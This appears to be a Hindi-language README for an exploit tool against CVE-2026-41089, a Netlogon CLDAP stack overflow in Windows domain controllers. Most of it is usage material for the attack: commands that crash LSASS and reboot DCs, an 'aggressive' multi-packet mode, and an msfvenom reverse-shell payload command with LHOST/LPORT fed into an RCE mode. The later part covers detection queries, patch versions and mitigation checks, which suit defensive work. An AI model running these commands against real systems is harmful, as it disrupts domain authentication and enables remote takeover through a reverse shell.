
CVE-2026-41089 विंडोज़ Netlogon सेवा में एक गंभीर रिमोट कोड निष्पादन भेद्यता है, जिसमें एक ही पैकेट lsass.exe को क्रैश कर सकता है, जिससे डोमेन कंट्रोलर लगभग 30-60 सेकंड में रीस्टार्ट हो जाता है। इस अवधि के दौरान उस DC के सभी डोमेन प्रमाणीकरण विफल हो जाएंगे।
CVE-ID: CVE-2026-41089
CVSS: 9.8 (क्रिटिकल)
CWE: CWE-121 (स्टैक-आधारित बफ़र ओवरफ़्लो)
आक्रमण वेक्टर: UDP/389 (CLDAP SearchRequest)
प्रभाव: रिमोट कोड एक्ज़ीक्यूशन (RCE) / डिनायल ऑफ़ सर्विस (DoS)
प्रभावित संस्करण: Windows Server 2012 R2 ~ 2025 (डोमेन कंट्रोलर)
पैच: मई 2026 संचयी अपडेट
netlogon.dll में NetpLogonPutUnicodeString फ़ंक्शन में CLDAP सर्च अनुरोधों को संसाधित करते समय स्टैक बफ़र ओवरफ़्लो भेद्यता मौजूद है। यह फ़ंक्शन बाइट लंबाई बजट प्राप्त करता है, लेकिन इसे WCHAR गणना के रूप में व्याख्यायित करता है, जिससे लिखी जाने वाली मात्रा अपेक्षित 2 गुना हो जाती है।
ओवरफ़्लो NlGetLocalPingResponse फ़ंक्शन के 528 बाइट (264 ushort) निश्चित स्टैक बफ़र में होता है। हमलावर-नियंत्रित User फ़ील्ड और सर्वर का स्वयं का DNS डोमेन नाम मिलकर इस बफ़र को भरते हैं, अंततः GS सुरक्षा कुकी को ओवरराइट करते हैं, जिससे __report_gsfailure और lsass.exe क्रैश हो जाता है।
NtVer=0x02 (पुराने, भेद्य BuildSamLogonResponse पथ के उपयोग को बाध्य करता है)User फ़ील्ड की लंबाई ≥ ~130 वर्ण (बाइनरी सीमा लगभग 260 बाइट UTF-16)ध्यान दें:
NtVer=0x16(कई सार्वजनिक डिटेक्शन स्क्रिप्ट द्वारा उपयोग किया जाने वाला मान) सुरक्षितBuildSamLogonResponseExपथ को ट्रिगर करता है, भेद्यता को ट्रिगर नहीं करता।
| मोड | विवरण |
|---|---|
--mode dos | विशेष रूप से तैयार किए गए CLDAP पैकेट भेजता है, जिससे LSASS क्रैश होता है, DC रीबूट होता है (~60 सेकंड प्रमाणीकरण बाधित) |
--mode rce | रिमोट कोड एक्ज़ीक्यूशन का प्रयास करता है (शोध-स्तर, shellcode की आवश्यकता) |
--mode scan | विभिन्न NtVer मानों की प्रतिक्रियाओं को स्कैन करता है, लक्ष्य DC की फ़िंगरप्रिंटिंग करता है |
--mode auto | स्वचालित रूप से पता लगाता है और सर्वोत्तम आक्रमण रणनीति चुनता है |
एकल पैकेट lsass.exe को क्रैश कर सकता है, जिससे डोमेन कंट्रोलर लगभग 30-60 सेकंड में रीबूट हो जाता है। इस अवधि के दौरान उस DC के सभी डोमेन प्रमाणीकरण विफल हो जाएंगे।
# बुनियादी उपयोग — 3 पैकेट भेजें
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# एकल पैकेट त्वरित आक्रमण
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# आक्रामक मोड — 5 पैकेट समवर्ती
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ शोध-स्तर — वास्तविक वातावरण में अविश्वसनीय और अस्थिर।
RCE को निम्नलिखित चुनौतियों का सामना करना पड़ता है:
# shellcode उत्पन्न करें
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# RCE श्रृंखला भेजें
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# लक्ष्य DC की फ़िंगरप्रिंटिंग करें
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
अपेक्षित आउटपुट उदाहरण (पैच किया गया लक्ष्य):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
अपेक्षित आउटपुट उदाहरण (अपैच किया गया लक्ष्य):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
यदि NtVer=0x02 टाइमआउट हो जाता है जबकि अन्य संस्करण सामान्य रूप से प्रतिक्रिया देते हैं, तो लक्ष्य में भेद्यता होने की संभावना है।
| पैरामीटर | विवरण | डिफ़ॉल्ट मान |
|---|---|---|
-l, --user-len | उपयोगकर्ता नाम फ़ील्ड की लंबाई (ASCII वर्ण संख्या) | 180 |
--ntver | NtVer मान (हेक्साडेसिमल, जैसे 0x02) | 0x02 |
--count | भेजे जाने वाले DoS पैकेट की संख्या | 3 |
--delay | पैकेट के बीच विलंब (सेकंड) | 0.5 |
-t, --timeout | सॉकेट टाइमआउट (सेकंड) | 5.0 |
--json | JSON प्रारूप में परिणाम आउटपुट करें | — |
--raw | भेजने से पहले कच्चे पैकेट का हेक्स प्रिंट करें | — |
--quiet | बैनर आउटपुट को दबाएँ | — |
--shellcode-file | कस्टम shellcode फ़ाइल (कच्चा x64) | — |
--lhost | रिवर्स शेल सुनने का पता | — |
--lport | रिवर्स शेल सुनने का पोर्ट | 4444 |
# Windows Server (अपैच) पर लंबे डोमेन नाम वाला DC बनाएँ:
# 1. डोमेन कंट्रोलर के रूप में प्रोमोट करें (बहुत लंबे DNS डोमेन नाम वाला डोमेन, जैसे "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. पुष्टि करें कि मई 2026 से पहले के पैच इंस्टॉल हैं
# 3. आक्रमण मशीन से चलाएँ:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. DC क्रैश और रीबूट होते हुए देखें
User > 100 बाइट और NtVer = 0x02 वाला CLDAP SearchRequestEvent ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Windows Server संस्करण | पैच किया गया संस्करण नंबर | टिप्पणी |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
# सुरक्षित डिटेक्शन स्क्रिप्ट — लक्ष्य को क्रैश नहीं करेगी
python detect_CVE-2026-41089.py <DC_IP> <DOMAIN>
# JSON आउटपुट (बैच स्कैनिंग के लिए उपयुक्त)
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --json
# पैच सत्यापन चरण दिखाएँ
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --check-patch
डिटेक्शन सिद्धांत: NtVer=0x02 (भेद्य पथ ट्रिगर करता है) और NtVer=0x16 (सुरक्षित पथ) के साथ छोटे CLDAP अनुरोध भेजता है। यदि 0x02 टाइमआउट हो जाता है लेकिन 0x16 सामान्य रूप से प्रतिक्रिया देता है, तो लक्ष्य में भेद्यता होने की संभावना है।
तत्काल पैच इंस्टॉल करें: मई 2026 संचयी अपडेट (KB5058405 या उच्चतर)
# इंस्टॉल किए गए अपडेट की जाँच करें
Get-HotFix | Where-Object {$_.InstalledOn -gt '2026-05-01'}
# नवीनतम अपडेट इंस्टॉल करें
Install-WindowsUpdate -AcceptAll -AutoReboot
netlogon.dll संस्करण सत्यापित करें:
(Get-Item C:\Windows\System32\netlogon.dll).VersionInfo.FileVersion
# ऊपर दी गई पैच संस्करण संख्या तालिका से मिलाएँ
अस्थायी शमन (जब तत्काल पैच संभव न हो):
पश्चात जाँच:
# lsass क्रैश रिकॉर्ड की जाँच करें
Get-WinEvent -FilterHashtable @{LogName='Application';Id=1000} |
Where-Object {$_.Message -match 'lsass.exe' -and $_.Message -match '0xc0000409'} |
Select-Object TimeCreated, Message -First 5